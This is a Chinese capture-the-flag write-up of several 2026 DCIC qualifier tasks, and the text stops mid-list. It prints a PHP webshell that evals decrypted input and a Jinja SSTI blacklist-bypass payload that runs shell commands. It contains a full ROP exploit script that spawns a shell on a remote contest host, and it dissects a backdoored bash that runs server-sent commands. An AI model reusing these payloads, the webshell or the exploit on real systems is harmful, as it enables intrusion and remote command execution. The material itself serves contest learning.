2026DCIC数字中国创新大赛网安赛道初赛部分题解
比赛部分题解
随着解题过程逐渐开新阶段,3题开二阶段,5题开三阶段
Stage1
Misc-冰碧蝎?
开幕冰蝎流量的加密php代码
<?php
@error_reporting(0);
session_start();
$key="1ca3b8c9c81a5fdc";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>接下来按照代码中的密钥1ca3b8c9c81a5fdc解密冰蝎流量
可以看到执行的命令,根据命令可以看到如果服务器有openssl的话会有一个openssl的AES128加密,如果没有则是循环异或
发现攻击者执行了cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls
怀疑这部分就是flag,直接使用随波逐流解码,得到flag
SecureDoc
注册登录后,可以看到这些接口:
/documents/list
/documents/create
/documents/apply-template
其中前端对/documents/apply-template的注释直接写了ECB Oracle vulnerability,这个点最值得优先看。
向/documents/apply-template发送不同长度的content,返回里会带:
encrypted_content
block_count
total_length
测试发现明文是用户输入 + 固定后缀,没有随机 iv,相同明文块会得到相同密文块,固定后缀长度是82
所以它本质上就是标准的 byte-at-a-time ECB oracle。
直接按经典 ECB oracle 方式逐字节爆破,最终恢复出的后缀为:
*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssMjcwMzQz! ******
从中提取管理员凭据:
username = suP3r@dm!n
password = S3cur3P@ssMjcwMzQz!
使用上一步恢复出的凭据登录,成功进入
/admin/dashboard
后台还有一个模板预览接口
/admin/report/preview
测试
{{7*7}}
返回49,说明这里是 Jinja SSTI。
虽然常见 payload 如config、self、request、globals会被拦,但这只是关键字黑名单,不是真正的沙箱。
可以用cycler和attr继续取对象属性,再把globals写成十六进制转义绕过过滤:
{{ ((cycler.next|attr("\x5f\x5fglobals\x5f\x5f")).get("os")).popen("cat /flag").read() }}
成功执行命令并读取/flag。
最终 flag:
flag{oIBPyRbCotalsEXY7QfbTqih3GAp2etL}Pwn-keep_stack
入口调用了sub4016C8进入该函数
s只有128字节,但是后续子函数把他当成带数据的结构体引用了,所以存在越界操作每次调用函数漏洞前,全局变量就被xor两次,这就导致了后续写入步常在不同轮次发生切换
程序把s+0x80当做了长度,s+0x88当做了索引,但是写入的目标是s+strideidx,由于这两个字段本身就在这个栈帧,所以可以越界覆写返回地址
栈布局图是这样
s + 0x00 : buffer[128]
s + 0x80 : fake len
s + 0x88 : fake idx
s + 0xa0 : saved rbp
s + 0xa8 : saved rip公共逻辑库
import os
from pathlib import Path
# Keep pwntools cache/config inside the workspace to avoid permission issues.
BASE_DIR = Path(__file__).resolve().parent
os.environ.setdefault("XDG_CACHE_HOME", str(BASE_DIR / ".cache"))
os.environ.setdefault("XDG_CONFIG_HOME", str(BASE_DIR / ".config"))
cfg_dir = Path(os.environ["XDG_CONFIG_HOME"])
cfg_dir.mkdir(parents=True, exist_ok=True)
pwn_conf = cfg_dir / "pwn.conf"
if not pwn_conf.exists():
pwn_conf.write_text("[update]\ninterval=never\n", encoding="ascii")
from pwn import ELF, args, context, flat, log, p64, process, remote
context.binary = ELF(str(BASE_DIR / "keep_stack"), checksec=False)
context.arch = "amd64"
context.log_level = "info"
LIBC = ELF(str(BASE_DIR / "libc.so.6"), checksec=False)
HOST = "pwn-65190ea058.adworld.xctf.org.cn"
PORT = 9999
POP_RDI = 0x4011E1
RET = 0x40101A
PUTS_PLT = 0x401090
PUTS_GOT = 0x404018
VULN = 0x4016C8
REENTRY = 0x40178C
WRITE_START = 0
LEN_OFF = 0x80
IDX_OFF = 0x88
RIP_OFF = 0xA8
FAKE_LEN = 0x81
FAKE_IDX = 0x44
STAGE1_STRIDE = 4
STAGE1_LEN = 0x2C
STAGE1_LEN_WORD = LEN_OFF // STAGE1_STRIDE
STAGE1_IDX_WORD = IDX_OFF // STAGE1_STRIDE
STAGE1_RIP_WORD = RIP_OFF // STAGE1_STRIDE
FLAG_CMD = (
b"cat /flag 2>/dev/null; "
b"cat /home/ctf/flag 2>/dev/null; "
b"cat /home/pwn/flag 2>/dev/null; "
b"ls /; exit"
)
def local_argv():
return [
str(BASE_DIR / "ld-linux-x86-64.so.2"),
"--library-path",
str(BASE_DIR),
str(BASE_DIR / "keep_stack"),
]
def mode_desc() -> str:
if args.LOCAL and not args.REMOTE:
return "LOCAL ./ld-linux-x86-64.so.2 --library-path . ./keep_stack"
return f"REMOTE {HOST}:{PORT} ssl=True"
def banner(name: str):
print(f"[*] {name}")
print(f"[*] mode = {mode_desc()}")
def calc_libc(leak: int) -> dict[str, int]:
libc_base = leak - LIBC.symbols["puts"]
return {
"puts": leak,
"base": libc_base,
"system": libc_base + LIBC.symbols["system"],
"bin_sh": libc_base + next(LIBC.search(b"/bin/sh\x00")),
}
def print_libc(info: dict[str, int]):
print(f"[+] puts@libc = {info['puts']:#x}")
print(f"[+] libc base = {info['base']:#x}")
print(f"[+] system = {info['system']:#x}{' [contains 0x0a]' if has_bad_byte(info['system']) else ''}")
print(f"[+] /bin/sh = {info['bin_sh']:#x}{' [contains 0x0a]' if has_bad_byte(info['bin_sh']) else ''}")
def bad_stage2(info: dict[str, int]) -> bool:
return has_bad_byte(info["system"]) or has_bad_byte(info["bin_sh"])
def notes() -> list[str]:
p = build_stage1_reentry()
return [
f"POP_RDI = {POP_RDI:#x}",
f"RET = {RET:#x}",
f"PUTS_PLT= {PUTS_PLT:#x}",
f"PUTS_GOT= {PUTS_GOT:#x}",
f"REENTRY = {REENTRY:#x}",
"",
f"LEN_OFF = {LEN_OFF:#x}",
f"IDX_OFF = {IDX_OFF:#x}",
f"RIP_OFF = {RIP_OFF:#x}",
"",
f"STAGE1_LEN = {STAGE1_LEN:#x}",
f"STAGE1_LEN_WORD = {STAGE1_LEN_WORD:#x}",
f"STAGE1_IDX_WORD = {STAGE1_IDX_WORD:#x}",
f"STAGE1_RIP_WORD = {STAGE1_RIP_WORD:#x}",
"",
f"len field bytes = {p[STAGE1_LEN_WORD * 2:(STAGE1_LEN_WORD + 2) * 2].hex()}",
f"idx field bytes = {p[STAGE1_IDX_WORD * 2:(STAGE1_IDX_WORD + 2) * 2].hex()}",
f"ripL field bytes = {p[STAGE1_RIP_WORD * 2:(STAGE1_RIP_WORD + 2) * 2].hex()}",
]
def has_bad_byte(value: int) -> bool:
packed = value.to_bytes(8, "little")
return b"\n" in packed
def encode_payload(rop_bytes: bytes) -> tuple[int, bytes]:
if len(rop_bytes) % 2:
rop_bytes += b"\x00"
if b"\n" in rop_bytes:
raise ValueError("payload contains newline byte")
return len(rop_bytes) // 2, rop_bytes + b"\n\n"
def build_stage1_reentry() -> bytes:
words = [b"AA"] * STAGE1_LEN
words[STAGE1_LEN_WORD] = STAGE1_LEN.to_bytes(2, "little")
words[STAGE1_LEN_WORD + 1] = b"\x00\x00"
words[STAGE1_IDX_WORD] = STAGE1_IDX_WORD.to_bytes(2, "little")
words[STAGE1_IDX_WORD + 1] = b"\x00\x00"
words[STAGE1_RIP_WORD] = (REENTRY & 0xFFFF).to_bytes(2, "little")
words[STAGE1_RIP_WORD + 1] = b"\x00\x00"
return b"".join(words)
def build_payload(chain: bytes) -> bytes:
prefix = b"A" * (LEN_OFF - WRITE_START)
prefix += p64(FAKE_LEN)
prefix += p64(FAKE_IDX)
prefix += b"B" * (RIP_OFF - IDX_OFF - 8)
payload = prefix + chain
if len(payload) % 2:
payload += b"\x00"
return payload
def new_conn():
if args.LOCAL and not args.REMOTE:
return process(local_argv(), cwd=str(BASE_DIR))
return remote(HOST, PORT, ssl=True)
def send_stage(io, payload: bytes):
length, wire = encode_payload(payload)
io.sendlineafter(b"length:", str(length).encode())
io.sendafter(b"What do you want to say?", wire)
def leak_puts(io) -> int:
send_stage(io, build_stage1_reentry())
stage2 = build_payload(flat(
RET,
POP_RDI,
PUTS_GOT,
PUTS_PLT,
REENTRY,
))
send_stage(io, stage2)
io.recvuntil(b"input: ")
io.recvuntil(b"\n")
leaked = io.recvuntil(b"\x7f")
leaked = leaked[-6:]
if not leaked:
raise EOFError("empty puts leak")
leak = int.from_bytes(leaked.ljust(8, b"\x00"), "little")
log.info("puts@libc = %#x", leak)
return leak
def spawn_shell(io, libc_base: int):
send_stage(io, build_stage1_reentry())
system = libc_base + LIBC.symbols["system"]
bin_sh = libc_base + next(LIBC.search(b"/bin/sh\x00"))
bad_system = has_bad_byte(system)
bad_binsh = has_bad_byte(bin_sh)
log.info("system = %#x%s", system, " [contains 0x0a]" if bad_system else "")
log.info("/bin/sh = %#x%s", bin_sh, " [contains 0x0a]" if bad_binsh else "")
if bad_system or bad_binsh:
raise ValueError("stage2 address contains newline byte")
stage2 = build_payload(flat(
RET,
POP_RDI,
bin_sh,
system,
))
send_stage(io, stage2)
def read_flag(io) -> bytes:
io.sendline(FLAG_CMD)
return io.recvrepeat(3)
def main():
banner("manual exploit")
io = new_conn()
try:
leak = leak_puts(io)
info = calc_libc(leak)
print_libc(info)
print("[*] confirm with 'y' to send stage2, anything else to exit")
choice = input("> ").strip().lower()
if choice != "y":
print("[*] aborted before stage2")
return
spawn_shell(io, info["base"])
io.interactive()
finally:
io.close()
if __name__ == "__main__":
main()打印题目的关键静态参数,用来确认利用需要的偏移和目标地址
import solve_keep_stack as s
def main():
s.banner("static notes")
print("[*] run remote = python3 exp_00_notes.py")
print("[*] run local = python3 exp_00_notes.py LOCAL=1")
print()
print("\n".join(s.notes()))
if __name__ == "__main__":
main()验证第一次 4 步长重进入
import solve_keep_stack as s
def main():
s.banner("stage1 re-entry")
io = s.new_conn()
try:
s.send_stage(io, s.build_stage1_reentry())
print(repr(io.recvrepeat(3)))
finally:
io.close()
if __name__ == "__main__":
main()验证第二次 2 步长泄露 libc
import solve_keep_stack as s
def main():
s.banner("stage1 re-entry + stage2 leak")
io = s.new_conn()
try:
s.print_libc(s.calc_libc(s.leak_puts(io)))
finally:
io.close()
if __name__ == "__main__":
main()完整利用脚本,执行四阶段利用链并读取 flag
import solve_keep_stack as s
def main():
s.banner("full exploit")
io = s.new_conn()
try:
info = s.calc_libc(s.leak_puts(io))
s.print_libc(info)
if s.bad_stage2(info):
print("[!] current layout contains 0x0a in stage2 address")
return
s.spawn_shell(io, info["base"])
print(repr(s.read_flag(io)))
finally:
io.close()
if __name__ == "__main__":
main()flag
flag{QOLXEmgHkalNpAUuIfZHED0IUGqKgNJO}Reverse-SigFlow
程序的逻辑入口位于sub_401A10函数
抗分析检查:调用sub_401C30执行反调试和反分析检测。
构建运行时状态:通过sub_4022F0初始化内部状态。
加密初始化:使用 Token SIGFLOW_RANSIM_TOKEN_2026_LOCKER通过sub_4030E0初始化加密上下文。
递归加密:调用sub_404EE0遍历并加密目标文件。
生成勒索信:通过sub_405570写入README_RESTORE.txt。
每个.siglocked文件结构:
生成原始密文 (sub_404090):
根据sub_4030E0初始化的状态、文件相对路径、文件专用 Tag 以及运行时上下文,生成原始加密流。VM 后处理 (sub_403A90):
在栈上构建了一个 120 字节的编码指令,并由一个虚拟机解释执行,对上一步生成的密文进行最后的混淆处理。虚拟机后处理逻辑
sub_403A90
__int64 __fastcall sub_403A90(_BYTE *a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5)
{
int v8; // ecx
__int64 i; // rax
char v10; // dl
unsigned __int8 *buf_3; // rdx
char v12; // bl
char n7; // r8
char v14; // r11
__int64 n5; // rsi
char n19; // r10
char n3; // di
unsigned __int8 j; // r13
unsigned __int8 k; // al
char v20; // si
char v21; // cl
char v22; // r11
char v23; // al
char v24; // di
char v25; // r10
char v26; // r8
__int64 n146; // rax
unsigned __int8 v28; // al
unsigned __int64 n4_1; // rdx
unsigned __int64 v31; // r8
__int64 v32; // rax
int n0x100000_1; // esi
unsigned __int64 n4; // rcx
unsigned __int8 n112; // al
char v36; // di
int n0x100000; // eax
unsigned __int64 v38; // r11
char n3_1; // di
unsigned __int64 v40; // rax
_BYTE v42[16]; // [rsp+8h] [rbp-3C8h]
_WORD buf[60]; // [rsp+18h] [rbp-3B8h] BYREF
char v44; // [rsp+90h] [rbp-340h] BYREF
_DWORD buf_2[64]; // [rsp+98h] [rbp-338h] BYREF
_BYTE buf_1[568]; // [rsp+198h] [rbp-238h] BYREF
if ( !a1 || !a2 || a4 == 0 || a3 == 0 || a5 <= 1 )
return 0xFFFFFFFFLL;
v8 = 0;
for ( i = 0; i != 16; v42[i++] = v10 )
{
v10 = *(_BYTE *)(a2 + (i & 7)) ^ v8 ^ a1[i + 328];
v8 += 55;
}
buf_3 = (unsigned __int8 *)buf;
v12 = -48;
n7 = 7;
v14 = 1;
memset(buf, 0, sizeof(buf));
memset(buf_1, 0, 0x200u);
n5 = 5;
memset(buf_2, 0, sizeof(buf_2));
n19 = 19;
n3 = 3;
for ( j = 26; ; j = byte_4BC343[n5] )
{
for ( k = ROL1(n19 ^ a1[(n3 & 0x1F) + 232], a1[(n5 & 0xF) + 37] & 7)
^ v12
^ a1[(n7 & 0xF) + 328]
^ a1[(v14 & 0xF) + 304]; (unsigned __int8)(k - 1) > 0xFDu || *((_BYTE *)buf_2 + k); k += 83 )
;
++n5;
*((_BYTE *)buf_2 + k) = 1;
v12 += 19;
n3 += 7;
n19 += 47;
v14 += 3;
n7 += 5;
buf_1[j] = k;
buf_1[k + 256] = j;
if ( n5 == 18 )
break;
}
v20 = a1[49];
v21 = v42[2] + a1[46];
v22 = a1[41] ^ 0xA5;
v23 = v42[14] + a1[38];
buf[10] = 538;
HIBYTE(buf[3]) = v22;
LOBYTE(buf[3]) = v21 & 0x7E;
v24 = *(_BYTE *)(a3 + 13) ^ v42[5];
buf[12] = 606;
v25 = a1[239] ^ v42[3];
v26 = a1[251] ^ v42[11];
buf[6] = 316;
LOBYTE(buf[19]) = v25;
buf[2] = 709;
buf[14] = 555;
buf[20] = 385;
LOBYTE(buf[21]) = v26;
LOBYTE(buf[0]) = -110;
LOBYTE(buf[1]) = 2;
LOBYTE(buf[4]) = 26;
LOBYTE(buf[5]) = -1;
LOBYTE(buf[8]) = 111;
LOBYTE(buf[9]) = 1;
LOBYTE(buf[16]) = -93;
LOBYTE(buf[17]) = 6;
LOBYTE(buf[18]) = -127;
LOBYTE(buf[22]) = -110;
LOBYTE(buf[23]) = 3;
LOBYTE(buf[41]) = v23 & 0x7E;
buf[26] = 316;
buf[54] = 299;
n146 = 146;
LOBYTE(buf[24]) = 26;
LOBYTE(buf[25]) = 1;
LOBYTE(buf[27]) = 9;
LOBYTE(buf[28]) = 111;
LOBYTE(buf[29]) = 1;
buf[30] = 538;
buf[32] = 606;
buf[34] = 555;
LOBYTE(buf[36]) = -76;
LOBYTE(buf[37]) = 6;
buf[38] = 641;
LOBYTE(buf[39]) = v24;
LOBYTE(buf[40]) = -59;
HIBYTE(buf[41]) = v20 ^ 0xA5;
LOBYTE(buf[42]) = -110;
LOBYTE(buf[44]) = 60;
buf[46] = 282;
buf[48] = 589;
buf[50] = 350;
LOBYTE(buf[51]) = 2;
buf[52] = 368;
LOBYTE(buf[56]) = -93;
LOBYTE(buf[57]) = 6;
LOBYTE(buf[58]) = -10;
while ( 1 )
{
if ( (_BYTE)n146 )
{
v28 = buf_1[n146];
if ( !v28 )
return 0xFFFFFFFFLL;
*buf_3 = v28;
}
buf_3 += 4;
if ( &v44 == (char *)buf_3 )
break;
n146 = *buf_3;
}
n4_1 = 0;
buf_2[0] = 0;
v31 = 0;
v32 = LOBYTE(buf[0]);
n0x100000_1 = 1;
n4 = 4;
if ( !LOBYTE(buf[0]) )
goto LABEL_34;
LABEL_22:
n112 = buf_1[v32 + 256];
if ( !n112 )
return 0xFFFFFFFFLL;
v36 = *((_BYTE *)&buf[1] + n4_1);
if ( n112 == 112 )
{
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) += *((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3));
goto LABEL_30;
}
if ( n112 <= 0x70u )
{
if ( n112 == 77 )
{
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = *(_BYTE *)(a3
+ (((_BYTE)v31
+ *((_BYTE )buf_2
+ (((_BYTE *)&buf[1] + n4_1) & 3)))
& 0x1F));
}
else if ( n112 > 0x4Du )
{
if ( n112 == 94 )
{
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^= *((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3));
}
else
{
if ( n112 != 111 )
return 0xFFFFFFFFLL;
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = ROL1(
*((_BYTE *)buf_2 + (*((_BYTE )buf + n4_1 + 1) & 3)),
(((_BYTE *)buf_2 + (*((_BYTE *)&buf[1] + n4_1) & 3))
+ 1)
& 7);
}
}
else
{
if ( n112 != 43 )
{
if ( n112 == 60 )
{
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = v42[((_BYTE)v31 + v36) & 0xF];
goto LABEL_30;
}
if ( n112 == 26 )
{
v38 = v31 + v36;
if ( v36 < 0 )
{
v40 = -v36;
if ( v40 > v31 )
return 0xFFFFFFFFLL;
v38 = v31 - v40;
}
if ( a5 > v38 )
{
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) = *(_BYTE *)(a4 + v38);
goto LABEL_30;
}
}
return 0xFFFFFFFFLL;
}
if ( a5 <= v31 )
return 0xFFFFFFFFLL;
*(_BYTE *)(a4 + v31) = *((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3));
}
LABEL_30:
n4_1 += 4LL;
n0x100000 = n0x100000_1;
while ( 1 )
{
n4 = n4_1 + 4;
++n0x100000_1;
if ( n0x100000 == 0x100000 || n4 > 0x78 )
return 0xFFFFFFFFLL;
v32 = *((unsigned __int8 *)buf + n4_1);
if ( (_BYTE)v32 )
goto LABEL_22;
LABEL_34:
n0x100000 = n0x100000_1;
n4_1 = n4;
}
}
if ( n112 == 0xB4 )
{
if ( v31 )
{
--v31;
n4_1 -= 4LL * (unsigned __int8)v36;
}
goto LABEL_30;
}
if ( n112 <= 0xB4u )
{
switch ( n112 )
{
case 0x92:
n3_1 = v36 & 3;
v31 = 1;
if ( n3_1 != 2 )
{
v31 = a5 - 2;
if ( n3_1 != 3 )
{
v31 = 0;
if ( n3_1 == 1 )
v31 = a5 - 1;
}
}
break;
case 0xA3:
if ( a5 > ++v31 )
n4_1 -= 4LL * (unsigned __int8)v36;
break;
case 0x81:
*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^= v36;
break;
default:
return 0xFFFFFFFFLL;
}
goto LABEL_30;
}
if ( n112 == 0xC5 )
{
if ( *((_BYTE *)&buf[1] + n4_1 + 1) == (*((_BYTE *)buf_2 + (*((_BYTE *)buf + n4_1 + 1) & 3)) ^ (unsigned __int8)v36) )
return 0xFFFFFFFFLL;
goto LABEL_30;
}
return (unsigned int)-(n112 != 0xF6);
}第一阶段
自前向后遍历缓冲区(从 i = 1 到 n-1):
buf[i] = buf[i] \oplus \text{rol8}(buf[i-1], v42[i] + 1)
第二阶段
自后向前遍历缓冲区(从 i = n-2 到 0
buf[i] = buf[i] \oplus \text{rol8}(buf[i+1], v42[(i + 9) \pmod{16}] + 1)
第三阶段
对缓冲区每个字节进行处理,设 const = v42[0]
buf[i] = ((buf[i] \oplus ctx[(i + const) \pmod{32}]) + const) \pmod{256}
其中 v42 数组的生成逻辑为v42[i] = q1[i \pmod 8] \oplus acc \oplus state[328 + i],其中 acc每轮增加 55。
解密策略
解密过程即为上述步骤的逆运算:
- 逆转第三阶段:
- 先减去 $const$,再异或
对应位。
- 逆转第二阶段:
- 自前向后($0$ 到 $n-2$),利用后一个字节恢复当前字节。
- 逆转第一阶段:
- 自后向前($n-1$ 到 $1$),利用前一个字节恢复当前字节。
- 异或原始流:
- 将处理后的结果与sub_404090生成的原始字节流进行异或。
sub_4030E0 执行后的初始化状态 Dump。
在 GDB 中通过对空缓冲区调用sub_404090提取各个文件的 KeyStream
exp
from future import annotations
import struct
from pathlib import Path
ROOT = Path(r"E:\Downloads\sigflow\encrypted_data\encrypted_data")
STATE_PATH = Path(r"C:\Users\Lenovo\sigflow_state.bin")
KEYSTREAM_DIR = Path(r"C:\Users\Lenovo\sigflow_keystreams")
OUTPUT_DIR = Path(r"C:\Users\Lenovo\sigflow_final_decrypted")
def rol8(value: int, count: int) -> int:
count &= 7
if not count:
return value & 0xFF
return ((value << count) | (value >> (8 - count))) & 0xFF
def fnv32(data: bytes) -> int:
value = 0x811C9DC5
for byte in data:
value = ((value ^ byte) * 16777619) & 0xFFFFFFFF
return value
def build_v42(state: bytes, q1: bytes) -> list[int]:
acc = 0
out: list[int] = []
for i in range(16):
out.append((q1[i & 7] ^ acc ^ state[328 + i]) & 0xFF)
acc = (acc + 55) & 0xFF
return out
def undo_postprocess(body: bytes, state: bytes, q1: bytes) -> bytes:
v42 = build_v42(state, q1)
const = v42[0]
stage2 = bytearray(body)
for i in range(len(stage2)):
stage2[i] = ((stage2[i] - const) & 0xFF) ^ state[272 + ((i + const) & 0x1F)]
stage1 = bytearray(stage2)
rot = stage2[-1]
for i in range(len(stage2) - 2, -1, -1):
rot = rol8(rot, v42[(i + 9) & 0xF] + 1)
stage1[i] = stage2[i] ^ rot
plain = bytearray(stage1)
rot = stage1[0]
for i in range(1, len(stage1)):
rot = rol8(rot, v42[i & 0xF] + 1)
plain[i] = stage1[i] ^ rot
return bytes(plain)
def decrypt_file(enc_path: Path, ks_path: Path, out_path: Path, state: bytes) -> bytes:
data = enc_path.read_bytes()
q1 = data[8:16]
plain_len = struct.unpack_from("<I", data, 24)[0]
expected = struct.unpack_from("<I", data, 28)[0]
body = data[32:]
pre = undo_postprocess(body, state, q1)
keystream = ks_path.read_bytes()
plain = bytes(a ^ b for a, b in zip(pre, keystream))
if len(plain) != plain_len:
raise ValueError(f"length mismatch for {enc_path}")
if fnv32(plain) != expected:
raise ValueError(f"checksum mismatch for {enc_path}")
out_path.parent.mkdir(parents=True, exist_ok=True)
out_path.write_bytes(plain)
return plain
def main() -> None:
state = STATE_PATH.read_bytes()
OUTPUT_DIR.mkdir(parents=True, exist_ok=True)
mapping = [
("db/clients.csv.siglocked", "clients.csv.ks", "db/clients.csv"),
("logs/audit.log.siglocked", "audit.log.ks", "logs/audit.log"),
("raw/manifest.json.siglocked", "manifest.json.ks", "raw/manifest.json"),
("raw/model.bin.siglocked", "model.bin.ks", "raw/model.bin"),
("report.txt.siglocked", "report.txt.ks", "report.txt"),
]
parts: dict[str, str] = {}
for enc_rel, ks_name, out_rel in mapping:
plain = decrypt_file(
ROOT / enc_rel,
KEYSTREAM_DIR / ks_name,
OUTPUT_DIR / out_rel,
state,
)
text = plain.decode("utf-8", errors="ignore")
for marker in ("FLAG_PART_01=", "FLAG_PART_02=", "FLAG_PART_03="):
if marker in text:
parts[marker] = text.split(marker, 1)[1].splitlines()[0].strip('",')
if parts:
print(
parts.get("FLAG_PART_01=", "")
+ parts.get("FLAG_PART_02=", "")
+ parts.get("FLAG_PART_03=", "")
)
if name == "main":
main()解密后的明文均通过了文件头中 FNV32 校验码的验证:
db/clients.csv -> 0xe95b7d6b (验证通过)
logs/audit.log -> 0xcf3d430a (验证通过)
raw/manifest.json -> 0x48b79f14 (验证通过)
从解密后的文件中提取出 Flag 各部分:
FLAG_PART_01=flag{sigflow_vm_
FLAG_PART_02=signal_mixed_
FLAG_PART_03=vm_locked_files}
flag
flag{sigflow_vm_signal_mixed_vm_locked_files}Crypto-base
题目通过看二进制位是 0 还是 1,来决定是输出纯随机块,还是经过 AES 加密后的块,翻 aes.py 的源码,数一下Sbox就会发现Bug:字节 0xCC出现了两次,而 0xCE消失了,因为 AES 的最后一轮是没有列混淆,因此这个bug意味着最后一轮加密后的结果不会再存在某个特定字节,因此利用这个特征去区分,切片拿用一列4500字节去重,极其256个可能的肯定就是没加密的随机数,如果没凑齐,那就肯定是aes密文
拿到二进制流串字符,flag就是经过了两次base64编码密钥打乱,附件里说了flag是uuid4格式,中间有-而且规范是4,但是直接跑z3一开始卡死了,因为位移的事,所以我们把触发换成LShR和&就行了。
会跑出很多错误解,还是得验证一下md5
完整exp
import lzma, ast, z3, hashlib
from Crypto.Util.number import long_to_bytes
p = ast.literal_eval(lzma.open("output", "rt").read())
c_bin = "".join("0" if len(set(x[0::16])) == 256 else "1" for x in p)
C_STR = long_to_bytes(int(c_bin, 2)).decode()
s = z3.Solver()
flag = [z3.BitVec(f'f_{i}', 8) for i in range(42)]
V = [z3.BitVec(f'V_{i}', 8) for i in range(64)]
s.add(z3.Distinct(V))
for i in range(64): s.add(V[i] >= 0, V[i] < 64)
for i, c in enumerate(b"flag{"): s.add(flag[i] == c)
s.add(flag[41] == ord('}'))
for i in [13, 18, 23, 28]: s.add(flag[i] == ord('-'))
s.add(flag[19] == ord('4'))
s.add(z3.Or([flag[24] == ord(c) for c in '89ab']))
hex_idx = list(range(5,13)) + list(range(14,18)) + list(range(20,23)) + list(range(25,28)) + list(range(29,41))
for i in hex_idx:
s.add(z3.Or(z3.And(flag[i] >= ord('0'), flag[i] <= ord('9')), z3.And(flag[i] >= ord('a'), flag[i] <= ord('f'))))
def b64_enc(data):
res = []
for i in range(0, len(data) - len(data)%3, 3):
res.extend([z3.LShR(data[i], 2), ((data[i]&3)<<4) | z3.LShR(data[i+1], 4), ((data[i+1]&15)<<2) | z3.LShR(data[i+2], 6), data[i+2]&63])
if len(data) % 3 == 2:
res.extend([z3.LShR(data[-2], 2), ((data[-2]&3)<<4) | z3.LShR(data[-1], 4), (data[-1]&15)<<2])
return res
B1 = b64_enc(flag)
table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
S_ascii = [z3.BitVec(f'Sa_{i}', 8) for i in range(56)]
for i in range(56):
for j in range(64):
s.add(z3.Implies(B1[i] == j, S_ascii[i] == table[j]))
B2 = b64_enc(S_ascii)
for i in range(75):
s.add(V[table.index(C_STR[i].encode())] == B2[i])
if s.check() == z3.sat:
res = bytes([s.model()[f].as_long() for f in flag])
if hashlib.md5(res).hexdigest() == 'ec2783d8262e2621eece6e9e236479dc':
print(f"Flag: {res.decode()}")
else:
print("失败")flag
flag{48a67e13-9999-479f-8e44-4fb39e28d417}Stage2
Reverse-evil bash
bash
解题思路
- 从流量里提取异常会话,识别自定义协议。
- 逆向被替换的 bash,还原它内部的 RSA 包装和自定义 VM。
- 从 type=2 包里恢复服务器下发的 VM 脚本,拿到完整命令链和 32 层加密口令。
- 通过 Wiener attack 直接恢复 RSA 私钥,解开 type=3 回包,拿到 flag.enc.32.tar,再逐层解密得到 flag.txt。
用tshark查看包后,可以发现真正有价值的是tcp.stream == 1这条本地环回连接:
127.0.0.1:42594 <-> 127.0.0.1:9999
它的载荷不是标准协议 格式是
magic: 4 bytes = "DSMV"
type : u32, big endian
len : u32, big endian
data : len bytes
crc32: u32, big endian
交互顺序
- type=1:服务端发握手,内容是 ASCII 十六进制的 n|e
- type=4:客户端确认
- 多个 type=2:服务端下发任务
- 多个 type=3:客户端回传结果
- type=5:会话结束
握手中的两个大整数为:
n = 9f8e752fb4e6388d8e171b2d36cdb718cbba283b5d11e4035961f1f1f872059ed68e7a3ac7f3551dc80bb3864ea55108aca0261a682b4c81e6ea5298e4162f57bcb464fa9a14e55f2249325d629815010f3d03802fecbbe871ad4bd46a0a403f0e6c201f16db8b125f1da1aa84bca04e05e30cbfbae87980388f037026702df1e = 775a9cb1423c12cb215987e6ea8e4f596c02bd77715883fce26cb1133a2d761624845e5b8c51d4bbeb98fb68d6de91d2bd1faf00bb2757dd5881a08b2cf69128fdcb0fc2c92257ea00b89b53128956a8d4fbf3340d343e4c7918cefbcd26ba9a7581c946d3d0ed466b176fc2d9055a637236635631d2949f4b41ec6e88432da7结合 ELF 行为可以确认它其实是服务端下发给客户端使用的公钥指数
ELF
HTTP 流里能提取出一个可疑的/bash文件,即 bash。
逆向关键函数:
0xa8f30:包读取函数
0xa9430:包发送函数
0xa87a0:128-byte blocks -> 126-byte blocks
0xa8950:<=126-byte blocks -> 128-byte blocks
0xa98c0:VM 解释器
0xaa200:特殊指令,调用 popen("/bin/sh", "r")
RSA
0xa87a0
每 128 字节做一次gmpz_import
调用mpz_powm
gmpz_export` 后将结果右对齐到 126 字节
说明type=2的 payload 是按 128 字节分块的“密文”,解开后得到 126 字节一块的 VM 字节码。
0xa8950则是反方向:
以最多 126 字节为一块导入整数
调用mpz_powm
导出到 128 字节块
所以type=3正是客户端把输出重新做 RSA 包装后的结果。
VM 解释器
VM 状态结构:
state[0x00..0x1f]`:8 个寄存器
state+0x20`:IP
state+0x24:SP,初始化为 0xfffc
state+0x28`:FLAGS
state+0x2c:代码/数据区起点
state+0x10030`:输出缓冲区
state+0x11030:输出长度
最重要的特殊指令是:
0xa9a98:把内存中的字符串附加到输出缓冲区
0xaa200:把reg0指向的字符串作为 shell 命令执行
用 Unicorn 直接跑 VM
让 ELF 自己的0xa98c0跑起来,在0xaa200处下断点,把真实命令字符串读出来。
这样可以恢复所有type=2的命令链。
提取结果如下:
frame 95 : ls
frame 98 : tar -zcvf flag.tar flag.txt
frame 101 : ls
frame 104 ~ 167 :
